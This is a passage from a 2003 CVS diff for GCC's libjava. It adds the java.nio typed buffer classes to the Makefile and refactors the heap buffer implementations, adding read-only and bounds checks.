+gnu/java/nio/natLongBufferImpl.cc \ +gnu/java/nio/natShortBufferImpl.cc \ java/io/natFile.cc \ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.294 diff -u -r1.294 Makefile.in --- Makefile.in 2 Feb 2003 23:06:39 -0000 1.294 +++ Makefile.in 11 Feb 2003 11:15:09 -0000 @@ -1797,6 +1797,13 @@ gnu/java/locale/LocaleInformation_zh_SG.java \ gnu/java/locale/LocaleInformation_zh_TW.java \ gnu/java/math/MPN.java \ +gnu/java/nio/ByteBufferImpl.java \ +gnu/java/nio/CharBufferImpl.java \ +gnu/java/nio/DoubleBufferImpl.java \ +gnu/java/nio/FloatBufferImpl.java \ +gnu/java/nio/IntBufferImpl.java \ +gnu/java/nio/LongBufferImpl.java \ +gnu/java/nio/ShortBufferImpl.java \ gnu/java/nio/charset/ISO_8859_1.java \ gnu/java/nio/charset/Provider.java \ gnu/java/nio/charset/US_ASCII.java \ @@ -1899,9 +1906,14 @@ java/nio/ByteBuffer.java \ java/nio/ByteOrder.java \ java/nio/CharBuffer.java \ +java/nio/DoubleBuffer.java \ +java/nio/FloatBuffer.java \ +java/nio/IntBuffer.java \ java/nio/InvalidMarkException.java \ +java/nio/LongBuffer.java \ java/nio/MappedByteBuffer.java \ java/nio/ReadOnlyBufferException.java \ +java/nio/ShortBuffer.java \ java/nio/channels/AlreadyConnectedException.java \ java/nio/channels/AsynchronousCloseException.java \ java/nio/channels/ByteChannel.java \ @@ -2190,6 +2202,13 @@ gnu/gcj/runtime/natStackTrace.cc \ gnu/gcj/runtime/natStringBuffer.cc \ gnu/gcj/runtime/natVMClassLoader.cc \ +gnu/java/nio/natByteBufferImpl.cc \ +gnu/java/nio/natCharBufferImpl.cc \ +gnu/java/nio/natDoubleBufferImpl.cc \ +gnu/java/nio/natFloatBufferImpl.cc \ +gnu/java/nio/natIntBufferImpl.cc \ +gnu/java/nio/natLongBufferImpl.cc \ +gnu/java/nio/natShortBufferImpl.cc \ java/io/natFile.cc \ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ @@ -2361,8 +2380,14 @@ gnu/gcj/runtime/natFinalizerThread.lo gnu/gcj/runtime/natFirstThread.lo \ gnu/gcj/runtime/natNameFinder.lo gnu/gcj/runtime/natSharedLibLoader.lo \ gnu/gcj/runtime/natStackTrace.lo gnu/gcj/runtime/natStringBuffer.lo \ -gnu/gcj/runtime/natVMClassLoader.lo java/io/natFile.lo \ -java/io/natFileDescriptor.lo java/io/natObjectInputStream.lo \ +gnu/gcj/runtime/natVMClassLoader.lo gnu/java/nio/natByteBufferImpl.lo \ +gnu/java/nio/natCharBufferImpl.lo gnu/java/nio/natDoubleBufferImpl.lo \ +gnu/java/nio/natFloatBufferImpl.lo gnu/java/nio/natIntBufferImpl.lo \ +gnu/java/nio/natLongBufferImpl.lo \ +gnu/java/nio/natSelectorImpl.lo \ +gnu/java/nio/natShortBufferImpl.lo \ +java/io/natFile.lo java/io/natFileDescriptor.lo \ +java/io/natObjectInputStream.lo \ java/io/natObjectOutputStream.lo java/io/natVMObjectStreamClass.lo \ java/lang/natCharacter.lo java/lang/natClass.lo \ java/lang/natClassLoader.lo java/lang/natConcreteProcess.lo \ @@ -2820,7 +2845,13 @@ .deps/gnu/java/locale/LocaleInformation_zh_HK.P \ .deps/gnu/java/locale/LocaleInformation_zh_SG.P \ .deps/gnu/java/locale/LocaleInformation_zh_TW.P \ -.deps/gnu/java/math/MPN.P .deps/gnu/java/nio/charset/ISO_8859_1.P \ +.deps/gnu/java/math/MPN.P .deps/gnu/java/nio/ByteBufferImpl.P \ +.deps/gnu/java/nio/CharBufferImpl.P \ +.deps/gnu/java/nio/DoubleBufferImpl.P \ +.deps/gnu/java/nio/FloatBufferImpl.P .deps/gnu/java/nio/IntBufferImpl.P \ +.deps/gnu/java/nio/LongBufferImpl.P \ +.deps/gnu/java/nio/ShortBufferImpl.P \ +.deps/gnu/java/nio/charset/ISO_8859_1.P \ .deps/gnu/java/nio/charset/Provider.P \ .deps/gnu/java/nio/charset/US_ASCII.P \ .deps/gnu/java/nio/charset/UTF_16.P \ @@ -2829,6 +2860,13 @@ .deps/gnu/java/nio/charset/UTF_16Encoder.P \ .deps/gnu/java/nio/charset/UTF_16LE.P \ .deps/gnu/java/nio/charset/UTF_8.P \ +.deps/gnu/java/nio/natByteBufferImpl.P \ +.deps/gnu/java/nio/natCharBufferImpl.P \ +.deps/gnu/java/nio/natDoubleBufferImpl.P \ +.deps/gnu/java/nio/natFloatBufferImpl.P \ +.deps/gnu/java/nio/natIntBufferImpl.P \ +.deps/gnu/java/nio/natLongBufferImpl.P \ +.deps/gnu/java/nio/natShortBufferImpl.P \ .deps/gnu/java/rmi/RMIMarshalledObjectInputStream.P \ .deps/gnu/java/rmi/RMIMarshalledObjectOutputStream.P \ .deps/gnu/java/rmi/dgc/DGCImpl.P .deps/gnu/java/rmi/dgc/DGCImpl_Skel.P \ @@ -3298,8 +3336,10 @@ .deps/java/nio/BufferOverflowException.P \ .deps/java/nio/BufferUnderflowException.P .deps/java/nio/ByteBuffer.P \ .deps/java/nio/ByteOrder.P .deps/java/nio/CharBuffer.P \ -.deps/java/nio/InvalidMarkException.P .deps/java/nio/MappedByteBuffer.P \ -.deps/java/nio/ReadOnlyBufferException.P \ +.deps/java/nio/DoubleBuffer.P .deps/java/nio/FloatBuffer.P \ +.deps/java/nio/IntBuffer.P .deps/java/nio/InvalidMarkException.P \ +.deps/java/nio/LongBuffer.P .deps/java/nio/MappedByteBuffer.P \ +.deps/java/nio/ReadOnlyBufferException.P .deps/java/nio/ShortBuffer.P \ .deps/java/nio/channels/AlreadyConnectedException.P \ .deps/java/nio/channels/AsynchronousCloseException.P \ .deps/java/nio/channels/ByteChannel.P \ Index: gnu/java/nio/ByteBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ByteBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 ByteBufferImpl.java --- gnu/java/nio/ByteBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/ByteBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -43,37 +43,35 @@ import java.nio.FloatBuffer; import java.nio.IntBuffer; import java.nio.LongBuffer; +import java.nio.ReadOnlyBufferException; import java.nio.ShortBuffer; +/** + * This is a Heap memory implementation + */ public final class ByteBufferImpl extends ByteBuffer { - private byte[] backing_buffer; - private int array_offset; - private boolean ro; - + private boolean readOnly; + public ByteBufferImpl (int cap, int off, int lim) { - this.cap = cap; - limit (lim); - position (off); - this.backing_buffer = new byte[cap]; + super (cap, lim, off, 0); + this.backing_buffer = new byte [cap]; + readOnly = false; } public ByteBufferImpl (byte[] array, int off, int lim) { - this.cap = array.length; - limit (lim); - position (off); + super (array.length, lim, off, 0); this.backing_buffer = array; + readOnly = false; } public ByteBufferImpl (ByteBufferImpl copy) { - this.cap = copy.capacity (); - limit (copy.limit ()); - position (copy.position ()); - ro = copy.ro; + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; + readOnly = copy.isReadOnly (); } void inc_pos (int toAdd) @@ -89,52 +87,140 @@ private static native byte[] nio_cast(float[]copy); private static native byte[] nio_cast(double[]copy); + ByteBufferImpl (byte[] copy) + { + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native byte nio_get_Byte (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Byte (ByteBufferImpl b, int index, int limit, byte value); + + public ByteBuffer asByteBuffer () + { + ByteBufferImpl res = new ByteBufferImpl (backing_buffer); + res.limit ((limit () * 1) / 1); + return res; + } + + ByteBufferImpl (char[] copy) + { + super (copy.length * 2, copy.length * 2, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native char nio_get_Char (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Char (ByteBufferImpl b, int index, int limit, char value); + + public CharBuffer asCharBuffer () + { + CharBufferImpl res = new CharBufferImpl (backing_buffer); + res.limit ((limit () * 2) / 1); + return res; + } + + ByteBufferImpl (short[] copy) + { + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native short nio_get_Short (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Short (ByteBufferImpl b, int index, int limit, short value); + + public ShortBuffer asShortBuffer () + { + ShortBufferImpl res = new ShortBufferImpl (backing_buffer); + res.limit ((limit () * 2) / 1); + return res; + } + + ByteBufferImpl (int[] copy) + { + super (copy.length * 4, copy.length * 4, 0, 0); + this.backing_buffer = copy != null ? nio_cast(copy) : null; + readOnly = false; + } + + private static native int nio_get_Int (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Int (ByteBufferImpl b, int index, int limit, int value); + + public IntBuffer asIntBuffer () + { + IntBufferImpl res = new IntBufferImpl (backing_buffer); + res.limit ((limit() * 4) / 1); + return res; + } + + ByteBufferImpl (long[] copy) + { + super (copy.length * 8, copy.length * 8, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native long nio_get_Long (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Long (ByteBufferImpl b, int index, int limit, long value); + + public LongBuffer asLongBuffer () + { + LongBufferImpl res = new LongBufferImpl (backing_buffer); + res.limit ((limit() * 8) / 1); + return res; + } + + ByteBufferImpl (float[] copy) + { + super (copy.length * 4, copy.length * 4, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native float nio_get_Float (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Float (ByteBufferImpl b, int index, int limit, float value); + + public FloatBuffer asFloatBuffer () + { + FloatBufferImpl res = new FloatBufferImpl (backing_buffer); + res.limit ((limit() * 4) / 1); + return res; + } - ByteBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native byte nio_get_Byte(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Byte(ByteBufferImpl b, int index, int limit, byte value); - public ByteBuffer asByteBuffer() { ByteBufferImpl res = new ByteBufferImpl(backing_buffer); res.limit((limit()*1)/1); return res; } - - ByteBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Char(ByteBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/1); return res; } - - ByteBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Short(ByteBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/1); return res; } - - ByteBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Int(ByteBufferImpl b, int index, int limit, int value); - public IntBuffer asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/1); return res; } - - ByteBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Long(ByteBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/1); return res; } - - ByteBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float nio_get_Float(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Float(ByteBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/1); return res; } - - ByteBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(ByteBufferImpl b, int index, int limit); - private static native void nio_put_Double(ByteBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/1); return res; } + ByteBufferImpl (double[] copy) + { + super (copy.length * 8, copy.length * 8, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native double nio_get_Double (ByteBufferImpl b, int index, int limit); + + private static native void nio_put_Double (ByteBufferImpl b, int index, int limit, double value); + + public DoubleBuffer asDoubleBuffer () + { + DoubleBufferImpl res = new DoubleBufferImpl (backing_buffer); + res.limit ((limit () * 8) / 1); + return res; + } public boolean isReadOnly() { - return ro; + return readOnly; } public ByteBuffer slice() { - ByteBufferImpl A = new ByteBufferImpl(this); - A.array_offset = position(); - return A; + return new ByteBufferImpl(this); } public ByteBuffer duplicate() @@ -145,7 +231,7 @@ public ByteBuffer asReadOnlyBuffer() { ByteBufferImpl a = new ByteBufferImpl(this); - a.ro = true; + a.readOnly = true; return a; } @@ -156,7 +242,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public byte get() @@ -168,6 +254,9 @@ final public ByteBuffer put(byte b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; @@ -180,14 +269,201 @@ final public ByteBuffer put(int index, byte b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } - final public char getChar() { char a = nio_get_Char(this, position(), limit()); inc_pos(2); return a; } final public ByteBuffer putChar(char value) { nio_put_Char(this, position(), limit(), value); inc_pos(2); return this; } final public char getChar(int index) { char a = nio_get_Char(this, index, limit()); return a; } final public ByteBuffer putChar(int index, char value) { nio_put_Char(this, index, limit(), value); return this; }; - final public short getShort() { short a = nio_get_Short(this, position(), limit()); inc_pos(2); return a; } final public ByteBuffer putShort(short value) { nio_put_Short(this, position(), limit(), value); inc_pos(2); return this; } final public short getShort(int index) { short a = nio_get_Short(this, index, limit()); return a; } final public ByteBuffer putShort(int index, short value) { nio_put_Short(this, index, limit(), value); return this; }; - final public int getInt() { int a = nio_get_Int(this, position(), limit()); inc_pos(4); return a; } final public ByteBuffer putInt(int value) { nio_put_Int(this, position(), limit(), value); inc_pos(4); return this; } final public int getInt(int index) { int a = nio_get_Int(this, index, limit()); return a; } final public ByteBuffer putInt(int index, int value) { nio_put_Int(this, index, limit(), value); return this; }; - final public long getLong() { long a = nio_get_Long(this, position(), limit()); inc_pos(8); return a; } final public ByteBuffer putLong(long value) { nio_put_Long(this, position(), limit(), value); inc_pos(8); return this; } final public long getLong(int index) { long a = nio_get_Long(this, index, limit()); return a; } final public ByteBuffer putLong(int index, long value) { nio_put_Long(this, index, limit(), value); return this; }; - final public float getFloat() { float a = nio_get_Float(this, position(), limit()); inc_pos(4); return a; } final public ByteBuffer putFloat(float value) { nio_put_Float(this, position(), limit(), value); inc_pos(4); return this; } final public float getFloat(int index) { float a = nio_get_Float(this, index, limit()); return a; } final public ByteBuffer putFloat(int index, float value) { nio_put_Float(this, index, limit(), value); return this; }; - final public double getDouble() { double a = nio_get_Double(this, position(), limit()); inc_pos(8); return a; } final public ByteBuffer putDouble(double value) { nio_put_Double(this, position(), limit(), value); inc_pos(8); return this; } final public double getDouble(int index) { double a = nio_get_Double(this, index, limit()); return a; } final public ByteBuffer putDouble(int index, double value) { nio_put_Double(this, index, limit(), value); return this; }; + final public char getChar () + { + char a = nio_get_Char (this, position (), limit ()); + inc_pos (2); + return a; + } + + final public ByteBuffer putChar (char value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Char (this, position (), limit (), value); + inc_pos (2); + return this; + } + + final public char getChar (int index) + { + char a = nio_get_Char (this, index, limit ()); + return a; + } + + final public ByteBuffer putChar (int index, char value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Char (this, index, limit (), value); + return this; + } + + final public short getShort () + { + short a = nio_get_Short (this, position (), limit ()); + inc_pos (2); + return a; + } + + final public ByteBuffer putShort (short value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Short (this, position (), limit(), value); + inc_pos (2); + return this; + } + + final public short getShort (int index) + { + short a = nio_get_Short (this, index, limit ()); + return a; + } + + final public ByteBuffer putShort (int index, short value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Short (this, index, limit (), value); + return this; + } + + final public int getInt () + { + int a = nio_get_Int (this, position (), limit ()); + inc_pos (4); + return a; + } + + final public ByteBuffer putInt (int value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Int (this, position (), limit , value); + inc_pos (4); + return this; + } + + final public int getInt (int index) + { + int a = nio_get_Int (this, index, limit ()); + return a; + } + + final public ByteBuffer putInt (int index, int value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Int(this, index, limit (), value); + return this; + } + + final public long getLong () + { + long a = nio_get_Long (this, position (), limit ()); + inc_pos (8); + return a; + } + + final public ByteBuffer putLong (long value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Long (this, position (), limit (), value); + inc_pos (8); + return this; + } + + final public long getLong (int index) + { + long a = nio_get_Long (this, index, limit ()); + return a; + } + + final public ByteBuffer putLong (int index, long value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Long (this, index, limit (), value); + return this; + } + + final public float getFloat () + { + float a = nio_get_Float (this, position (), limit ()); + inc_pos (4); + return a; + } + + final public ByteBuffer putFloat (float value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Float (this, position (), limit (), value); + inc_pos (4); + return this; + } + + final public float getFloat (int index) + { + float a = nio_get_Float (this, index, limit ()); + return a; + } + + final public ByteBuffer putFloat (int index, float value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Float (this, index, limit(), value); + return this; + } + + final public double getDouble () + { + double a = nio_get_Double (this, position (), limit ()); + inc_pos (8); + return a; + } + + final public ByteBuffer putDouble (double value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Double (this, position(), limit (), value); + inc_pos (8); + return this; + } + + final public double getDouble (int index) + { + return nio_get_Double (this, index, limit ()); + } + + final public ByteBuffer putDouble (int index, double value) + { + if (readOnly) + throw new ReadOnlyBufferException (); + + nio_put_Double (this, index, limit (), value); + return this; + } } Index: gnu/java/nio/CharBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/CharBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 CharBufferImpl.java --- gnu/java/nio/CharBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/CharBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -40,101 +40,65 @@ import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.nio.CharBuffer; -import java.nio.DoubleBuffer; -import java.nio.FloatBuffer; -import java.nio.IntBuffer; -import java.nio.LongBuffer; -import java.nio.ShortBuffer; +import java.nio.ReadOnlyBufferException; +/** + * This is a Heap memory implementation + */ public final class CharBufferImpl extends CharBuffer { - private boolean ro; + private boolean readOnly; - private ByteOrder endian = ByteOrder.BIG_ENDIAN; - public CharBufferImpl(int cap, int off, int lim) { - this.backing_buffer = new char[cap]; - this.cap = cap; - this.limit(lim); - this.position(off); + super (cap, lim, off, 0); + this.backing_buffer = new char [cap]; + readOnly = false; } public CharBufferImpl(char[] array, int off, int lim) { + super (array.length, lim, off, 0); this.backing_buffer = array; - this.cap = array.length; - this.limit(lim); - this.position(off); + readOnly = false; } public CharBufferImpl (CharBufferImpl copy) { + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; - ro = copy.ro; - limit (copy.limit()); - position (copy.position ()); - } - - void inc_pos (int a) - { - position (position () + a); - } - - CharBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native byte nio_get_Byte(CharBufferImpl b, int index, int limit); - private static native void nio_put_Byte(CharBufferImpl b, int index, int limit, byte value); - public ByteBuffer asByteBuffer() { ByteBufferImpl res = new ByteBufferImpl(backing_buffer); res.limit((limit()*1)/2); return res; } - - CharBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(CharBufferImpl b, int index, int limit); - private static native void nio_put_Char(CharBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/2); return res; } - - CharBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(CharBufferImpl b, int index, int limit); - private static native void nio_put_Short(CharBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/2); return res; } - - CharBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(CharBufferImpl b, int index, int limit); - private static native void nio_put_Int(CharBufferImpl b, int index, int limit, int value); - public IntBuffer asIntBuffer() { IntBufferImpl res = new IntBufferImpl(backing_buffer); res.limit((limit()*4)/2); return res; } - - CharBufferImpl(long[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native long nio_get_Long(CharBufferImpl b, int index, int limit); - private static native void nio_put_Long(CharBufferImpl b, int index, int limit, long value); - public LongBuffer asLongBuffer() { LongBufferImpl res = new LongBufferImpl(backing_buffer); res.limit((limit()*8)/2); return res; } - - CharBufferImpl(float[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native float nio_get_Float(CharBufferImpl b, int index, int limit); - private static native void nio_put_Float(CharBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/2); return res; } - - CharBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(CharBufferImpl b, int index, int limit); - private static native void nio_put_Double(CharBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/2); return res; } - - private static native char[] nio_cast(byte[]copy); - private static native char[] nio_cast(char[]copy); - private static native char[] nio_cast(short[]copy); - private static native char[] nio_cast(long[]copy); - private static native char[] nio_cast(int[]copy); - private static native char[] nio_cast(float[]copy); - private static native char[] nio_cast(double[]copy); + readOnly = copy.isReadOnly (); + } + + private static native char[] nio_cast (byte[] copy); + + CharBufferImpl (byte[] copy) + { + super (copy.length / 2, copy.length / 2, 0, 0); + this.backing_buffer = (copy != null ? nio_cast (copy) : null); + readOnly = false; + } + + private static native byte nio_get_Byte (CharBufferImpl b, int index, int limit); + + private static native void nio_put_Byte (CharBufferImpl b, int index, int limit, byte value); + + public ByteBuffer asByteBuffer () + { + ByteBufferImpl res = new ByteBufferImpl (backing_buffer); + res.limit ((limit () * 1) / 2); + return res; + } public boolean isReadOnly() { - return ro; + return readOnly; } public CharBuffer slice() { - CharBufferImpl buffer = new CharBufferImpl (this); - buffer.array_offset = position (); - return buffer; + return new CharBufferImpl (this); } public CharBuffer duplicate() @@ -144,9 +108,9 @@ public CharBuffer asReadOnlyBuffer() { - CharBufferImpl a = new CharBufferImpl(this); - a.ro = true; - return a; + CharBufferImpl result = new CharBufferImpl (this); + result.readOnly = true; + return result; } public CharBuffer compact() @@ -156,7 +120,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public CharSequence subSequence (int start, int end) @@ -172,6 +136,9 @@ position () + end); } + /** + * Relative get method. Reads the next character from the buffer. + */ final public char get() { char e = backing_buffer[position()]; @@ -179,27 +146,54 @@ return e; } + /** + * Relative put method. Writes value to the next position + * in the buffer. + * + * @exception ReadOnlyBufferException If this buffer is read-only. + */ final public CharBuffer put(char b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; } - - final public char getChar() { return get(); } final public CharBuffer putChar(char value) { return put(value); } final public char getChar(int index) { return get(index); } final public CharBuffer putChar(int index, char value) { return put(index, value); }; - final public short getShort() { short a = nio_get_Short(this, position(), limit()); inc_pos(2); return a; } final public CharBuffer putShort(short value) { nio_put_Short(this, position(), limit(), value); inc_pos(2); return this; } final public short getShort(int index) { short a = nio_get_Short(this, index, limit()); return a; } final public CharBuffer putShort(int index, short value) { nio_put_Short(this, index, limit(), value); return this; }; - final public int getInt() { int a = nio_get_Int(this, position(), limit()); inc_pos(4); return a; } final public CharBuffer putInt(int value) { nio_put_Int(this, position(), limit(), value); inc_pos(4); return this; } final public int getInt(int index) { int a = nio_get_Int(this, index, limit()); return a; } final public CharBuffer putInt(int index, int value) { nio_put_Int(this, index, limit(), value); return this; }; - final public long getLong() { long a = nio_get_Long(this, position(), limit()); inc_pos(8); return a; } final public CharBuffer putLong(long value) { nio_put_Long(this, position(), limit(), value); inc_pos(8); return this; } final public long getLong(int index) { long a = nio_get_Long(this, index, limit()); return a; } final public CharBuffer putLong(int index, long value) { nio_put_Long(this, index, limit(), value); return this; }; - final public float getFloat() { float a = nio_get_Float(this, position(), limit()); inc_pos(4); return a; } final public CharBuffer putFloat(float value) { nio_put_Float(this, position(), limit(), value); inc_pos(4); return this; } final public float getFloat(int index) { float a = nio_get_Float(this, index, limit()); return a; } final public CharBuffer putFloat(int index, float value) { nio_put_Float(this, index, limit(), value); return this; }; - final public double getDouble() { double a = nio_get_Double(this, position(), limit()); inc_pos(8); return a; } final public CharBuffer putDouble(double value) { nio_put_Double(this, position(), limit(), value); inc_pos(8); return this; } final public double getDouble(int index) { double a = nio_get_Double(this, index, limit()); return a; } final public CharBuffer putDouble(int index, double value) { nio_put_Double(this, index, limit(), value); return this; }; + /** + * Absolute get method. Reads the character at position index. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit. + */ final public char get(int index) { + if (index < 0 + || index >= limit ()) + throw new IndexOutOfBoundsException (); + return backing_buffer[index]; } + /** + * Absolute put method. Writes value to position + * index in the buffer. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit. + * @exception ReadOnlyBufferException If this buffer is read-only. + */ final public CharBuffer put(int index, char b) { + if (index < 0 + || index >= limit ()) + throw new IndexOutOfBoundsException (); + + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } @@ -207,6 +201,6 @@ public final ByteOrder order() { - return endian; + return ByteOrder.BIG_ENDIAN; } } Index: gnu/java/nio/DoubleBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/DoubleBufferImpl.java,v retrieving revision 1.2 diff -u -r1.2 DoubleBufferImpl.java --- gnu/java/nio/DoubleBufferImpl.java 29 Nov 2002 07:50:46 -0000 1.2 +++ gnu/java/nio/DoubleBufferImpl.java 11 Feb 2003 11:15:09 -0000 @@ -38,100 +38,66 @@ package gnu.java.nio; import java.nio.ByteBuffer; -import java.nio.CharBuffer; +import java.nio.ByteOrder; import java.nio.DoubleBuffer; -import java.nio.FloatBuffer; -import java.nio.IntBuffer; -import java.nio.LongBuffer; -import java.nio.ShortBuffer; +import java.nio.ReadOnlyBufferException; +/** + * This is a Heap memory implementation + */ public final class DoubleBufferImpl extends DoubleBuffer { - private int array_offset; - private boolean ro; + private boolean readOnly; public DoubleBufferImpl(int cap, int off, int lim) { + super (cap, lim, off, 0); this.backing_buffer = new double[cap]; - this.cap = cap; - this.limit(lim); - this.position(off); + readOnly = false; } public DoubleBufferImpl(double[] array, int off, int lim) { + super (array.length, lim, off, 0); this.backing_buffer = array; - this.cap = array.length; - this.limit(lim); - this.position(off); + readOnly = false; } public DoubleBufferImpl(DoubleBufferImpl copy) { + super (copy.capacity (), copy.limit (), copy.position (), 0); backing_buffer = copy.backing_buffer; - ro = copy.ro; - limit(copy.limit()); - position(copy.position()); + readOnly = copy.isReadOnly (); } - void inc_pos(int a) + DoubleBufferImpl (byte[] copy) { - position(position() + a); + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; } - - DoubleBufferImpl(byte[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native byte nio_get_Byte(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Byte(DoubleBufferImpl b, int index, int limit, byte value); - public ByteBuffer asByteBuffer() { ByteBufferImpl res = new ByteBufferImpl(backing_buffer); res.limit((limit()*1)/8); return res; } - - DoubleBufferImpl(char[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native char nio_get_Char(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Char(DoubleBufferImpl b, int index, int limit, char value); - public CharBuffer asCharBuffer() { CharBufferImpl res = new CharBufferImpl(backing_buffer); res.limit((limit()*2)/8); return res; } - - DoubleBufferImpl(short[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native short nio_get_Short(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Short(DoubleBufferImpl b, int index, int limit, short value); - public ShortBuffer asShortBuffer() { ShortBufferImpl res = new ShortBufferImpl(backing_buffer); res.limit((limit()*2)/8); return res; } - - DoubleBufferImpl(int[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native int nio_get_Int(DoubleBufferImpl b, int index, int limit); - private static native void nio_put_Int(DoubleBufferImpl b, int index, int limit, int value); - public IntBuffer 